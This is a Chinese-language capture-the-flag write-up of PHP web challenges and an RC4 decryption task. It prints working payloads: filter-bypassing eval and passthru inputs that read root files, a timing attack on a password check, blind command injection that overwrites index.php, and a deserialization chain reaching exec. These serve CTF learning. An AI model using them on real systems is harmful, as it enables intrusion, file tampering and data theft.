Sign 这个是一个签到题,题目直接给出一个webshell passwd:sgin
下面就只需要post传sgin=system(‘cat /*’);即可
HelloHacker 直接给源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <?php highlight_file (__FILE__) ; error_reporting(0 ); include_once 'check.php' ; include_once 'ban.php' ; $incompetent = $_POST['incompetent' ]; $WuCup = $_POST['WuCup' ]; if ($incompetent !== 'HelloHacker' ) { die('Come invade!' ); } $required_chars = ['p' , 'e' , 'v' , 'a' , 'n' , 'x' , 'r' , 'o' , 'z' ]; $is_valid = true ; if (!checkRequiredChars($WuCup, $required_chars)) { $is_valid = false ; } if ($is_valid) { $prohibited_file = 'prohibited.txt' ; if (file_exists($prohibited_file)) { $file = fopen($prohibited_file, 'r' ); while ($line = fgets($file)) { $line = rtrim($line, "\r\n" ); if ($line === '' && strpos($WuCup, ' ' ) === false ) { continue ; } if (stripos($WuCup, $line) !== false ) { fclose($file); die('this road is blocked' ); } } fclose($file); } eval($WuCup); } else { die('NO!NO!NO!' ); } ?>
这里就可以发现,在里面有一个prohibited.txt,可以直接访问看到里面的waf,内容太多,只展现一些
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 d m g : ' ` ? @ % . : $ " ; \ / eval exec flag system assert map open call array preg php cat sort shell echo tac
在里面有些字符是有但是没有被过滤的,比如;号,因为后面多了一个空格,导致没有真正的过滤,还有” $,这些后面会用到
1 2 3 4 5 6 $required_chars = ['p' , 'e' , 'v' , 'a' , 'n' , 'x' , 'r' , 'o' , 'z' ]; $is_valid = true ; if (!checkRequiredChars($WuCup, $required_chars)) { $is_valid = false ; }
这里需要有一个required_chars里面字符的排列组合,通过python脚本找到一个没有给过滤的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import itertools# 需要检查的字符串 string_to_permute = "pevanxroz" # 禁止列表文件路径 prohibited_file_path = r"D:\写题\1.txt" # 读取禁止列表文件中的所有内容 try : with open (prohibited_file_path, 'r' ) as file: prohibited_list = set(file.read().splitlines()) except FileNotFoundError: print(f"文件 {prohibited_file_path} 未找到。" ) prohibited_list = set() # 生成所有排列组合 permutations = itertools.permutations(string_to_permute) # 过滤掉禁止列表中的排列组合 allowed_permutations = ['' .join(p) for p in permutations if '' .join(p) not in prohibited_list] # 打印不在禁止列表中的排列组合 for permutation in allowed_permutations: print(permutation)
oxzverapn,下面就可以通过;来进行分隔,发现passthru函数没有给过滤,可以通过passthru来命令执行,因为/号给过滤就想如何获取/再继续字符拼接即可,这里可以通过chr来将ascii码转字符,通过join函数来拼接,最后就可以得flag
1 incompetent=HelloHacker&WuCup=oxzverapn;$a=["nl%09" ,chr(47 ),"*" ];$s=join("" ,$a);print_r($s);passthru($s);
TimeCage 首先给源码
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php show_source (__FILE__) ;include 'secret.php' ; if (isset($_GET['input' ])){ $guess = $_GET['input' ]; $target = random_int(114 , 114 + date('s' ) * 100000 ); if (intval($guess) === intval($target)){ echo "The next challenge in " .$key1; } else { echo "Guess harder." ; } }
这里其实认真看就可以知道如果当秒刚好为0时就可以使target为114,这里就可以提交input=114并且不断的刷新页面即可,或者通过python来反复发包
下一关Trapping2147483647.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php show_source (__FILE__) ; include 'secret.php' ; if (isset($_POST['pass' ])){ $pass = $_POST['pass' ]; if (strlen($pass) != strlen($password)){ die("Wrong Length!" ); } $isMatch = true ; for ($i = 0 ;$i < strlen($password); $i++){ if ($pass[$i] != $password[$i]){ $isMatch = false ; break ; } sleep(1 ); } if ($isMatch){ echo "The final challenge in " .$key2; } else { echo "Wrong Pass!" ; } }
这里是要获取password,可以先产生获取其长度,输入11111111得其长度为8,下面就可以产生每一位数的具体值
不断修改看方式请求的时间来判断,一个成功时间就会大于1秒,就不断的尝试,脚本发送有时判断不够准确,所以直接手动判断,最后得密码为56983215
下一关EscapeEsc@p3Escape.php,这里就是一个rce,只是shell_exec没有回显
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php if (isset($_POST['cmd' ]) ){ $cmd = $_POST['cmd' ]; $pattern = '/[\{\}\[\]\(\)&<>`\s\\\\]/' ; if (preg_match($pattern,$cmd)){ die("Invalid Input!" ); } shell_exec($cmd); } else { show_source(__FILE__); }
空格绕过用$IFS$8,刚开始尝试反弹shell但是没有成功,下面就写入文件得回显如果直接通过>>是被过滤了,但是还可以通过tee加通配符绕过,但是如果直接通过创建还是找不到,最后就可以直接通过覆盖前面的文件读回显,这样就可以执行命令
1 2 cmd=ls|tee$IFS$8index.php cmd=cat$IFS$8
ezPHP
刚开始不知道应该如何写,通过dirsearch发现有一个flag.php文件,可以访问但是空白,这里通过bp抓包得php版本
下面就是通过查询对应的php版本问题知道有一个源码泄露
https://www.cnblogs.com/Kawakaze777/p/17799235.html
下面就是跟着尝试得源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 <?php error_reporting (0 ) ;class a { public $OAO; public $QAQ; public $OVO; public function __toString () { if (!preg_match('/hello/' , OVO)){ if ($this ->OVO === "hello" ) { return $this ->OAO->QAQ; } } } public function __invoke () { return $this ->OVO; } } class b { public $pap; public $vqv; public function __get ($key) { $functioin = $this ->pap; return $functioin(); } public function __toString () { return $this ->vqv; } } class c { public $OOO; public function __invoke () { @$_ = $this ->OOO; $___ = $_GET; var_dump($___); if (isset($___['h_in.t' ])) { unset($___['h_in.t' ]); } var_dump($___); echo @call_user_func($_, ...$___) ; } } class d { public $UUU; public $uuu; public function __wakeup () { echo $this ->UUU; } public function __destruct () { $this ->UUU; } } if (isset($_GET['h_in.t' ])){ unserialize($_GET['h_in.t' ]); } ?>
发现是一个反序列化,这里就当时没看清题
1 2 3 4 5 if (!preg_match('/hello/' , OVO)){ if ($this ->OVO === "hello" ) { return $this ->OAO->QAQ; } }
这里的OVO都不是这个类的,所以根本不用绕过,直接传OVO=hello即可,下面就可以去调用链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php class a { public $OAO; public $QAQ; public $OVO="hello" ; } class b { public $pap="phpinfo" ; public $vqv; } class d { public $UUU; public $uuu; } $a=new d (); $a->UUU=new a (); $a->UUU->OAO=new b (); echo serialize ($a) ; ?>
这里首先可以读取phpinfo,参数合理化h[in.t即可,后面看到这里有很多的函数都给过滤了,但是exec没有
下面就可以尝试通过exec来命令执行
1 2 3 4 5 6 7 8 9 10 public function __invoke () { @$_ = $this ->OOO; $___ = $_GET; var_dump($___); if (isset($___['h_in.t' ])) { unset($___['h_in.t' ]); } var_dump($___); echo @call_user_func($_, ...$___) ; }
这里的invoke里面会将get提交的参数传给$,这个具体是一个数组,后面就会删除h_in.t参数值,所以$ 的值就是我们可以控制的了,下面就可以直接传参来执行命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php class a { public $OAO; public $QAQ; public $OVO="hello" ; } class b { public $pap; public $vqv; } class c { public $OOO="exec" ; } class d { public $UUU; public $uuu; } $a=new d (); $a->UUU=new a (); $a->UUU->OAO=new b (); $a->UUU->OAO->pap=new c (); echo serialize ($a) ; ?>
如果上传一个字母参数就会不成功,这里可能是因为…$_ 的原因,但时直接参数数字就可以了,也是尝试了很久还以为又出错了
1 ?h[in.t=O:1 :"d" :2 :{s:3 :"UUU" ;O:1 :"a" :3 :{s:3 :"OAO" ;O:1 :"b" :2 :{s:3 :"pap" ;O:1 :"c" :1 :{s:3 :"OOO" ;s:4 :"exec" ;}s:3 :"vqv" ;N;}s:3 :"QAQ" ;N;s:3 :"OVO" ;s:5 :"hello" ;}s:3 :"uuu" ;N;}&1 =cat
Misc-Sign 这个就很简单了,就是一个base16解码得flag
Easy 这个题考RC4,给了key解码flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 def rc4 (key) : key_length = len(key) s = list(range(256 )) j = 0 for i in range (256 ) : j = (j + s[i] + ord(key[i % key_length])) % 256 s[i], s[j] = s[j], s[i] return s def rc4_decrypt (ciphertext, key) : key_length = len(key) s = rc4(key) i = j = 0 plaintext = [] for byte in ciphertext: i = (i + 1 ) % 256 j = (j + s[i]) % 256 s[i], s[j] = s[j], s[i] x = (s[i] + s[j]) % 256 plaintext.append(byte ^ s[x]) return plaintext # 密钥 key = "hello world" # 密文(十六进制字符串) ciphertext_hex = [ "d8d2" , "963e" , "0d8a" , "b853" , "3d2a" , "7fe2" , "96c5" , "2923" , "3924" , "6eba" , "0d29" , "2d57" , "5257" , "8359" , "322c" , "3a77" , "892d" , "fa72" , "61b8" , "4f" ] # 将十六进制字符串转换为字节 ciphertext = bytes.fromhex('' .join(ciphertext_hex)) # 解密 plaintext_bytes = rc4_decrypt(ciphertext, key) # 将字节序列转换为字符串 try : flag = '' .join(chr(byte ) for byte in plaintext_bytes) print("Flag:" , flag) except UnicodeEncodeError as e: print("Flag contains non-UTF-8 characters:" , plaintext_bytes)